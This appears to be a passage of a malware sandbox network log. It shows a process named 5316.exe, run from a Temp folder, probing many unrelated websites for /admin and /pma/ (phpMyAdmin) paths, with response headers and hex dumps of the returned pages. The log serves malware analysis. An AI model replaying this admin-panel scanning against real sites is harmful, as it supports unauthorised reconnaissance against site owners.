2023-12-20 02:13:39 UTC	898	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845e07fe868d9d-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FLeELxIXa0m%2FNCzec63zw%2Bg1ddk%2BhZaDtZ9YWblONPTx2e%2BgjBD1KsPMtVXI1Jda03X2wJ6%2FRSQnKIvi%2FwUCX4KDcBOmHxu4Y6ZYGMhvUwh6C%2BcLQDOK0bxG%2BudSeO3UE7M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:39 UTC	471	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 Data Ascii: ext/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/c
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 34 30 30 20 6f 76 65 72 66 6c 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 Data Ascii: 400 overflow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-aut
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 Data Ascii: .com/5xx-error-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-statu
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 65 65 6e 20 43 6c 6f 75 64 66 6c 61 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d Data Ascii: een Cloudflare and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 m
2023-12-20 02:13:39 UTC	1242	IN	Data Raw: 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 65 30 38 32 30 35 62 38 64 39 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 Data Ascii: re Ray ID: <strong class="font-semibold">83845e08205b8d9d</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="but

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	51168	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	179	OUT	GET /admin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	922	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038419.3261655779706232668 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:39 GMT Age: 1 X-Served-By: cache-dfw-kdfw8210122-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:39 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-12-20 02:13:39 UTC	95	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: an> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	51250	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	323	OUT	GET /admin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Ss//Sso9Enaqi8Glx/BOh3LjKP5/42yv4IY24Yh7CqNzPOTaARx8m7fdOQtsHKXetGs1gVpbeHBgdKfengoL6A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	51249	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	317	OUT	GET /admin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FArYIeR9FA9bBTZqVo52tgqfQpm4SZmGMr+i/3Uqco5tGM8oNwwTC6ioXYE46tg5+Fnm5VFHY3FUCQV21tgj6g Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	51244	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	200	OUT	GET /pma/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:39 GMT Connection: close
2023-12-20 02:13:39 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	51275	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	174	OUT	GET /pma/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	444	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 52 Location: https://www.geoffreynolds.com.au/pma/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:39 GMT X-Served-By: cache-gnv1820025-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038419.438134,VS0,VE38 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:39 UTC	52	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 70 6d 61 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/pma/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	51276	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	327	OUT	GET /admin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CbfsBM+C2/E/l8eo46TIRMHOrDdwCndkeVoNmqd0vR2xGflUfCcDsBMJiOCFMeFxp5GI6gURq3XDiGzjzB/e+A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut 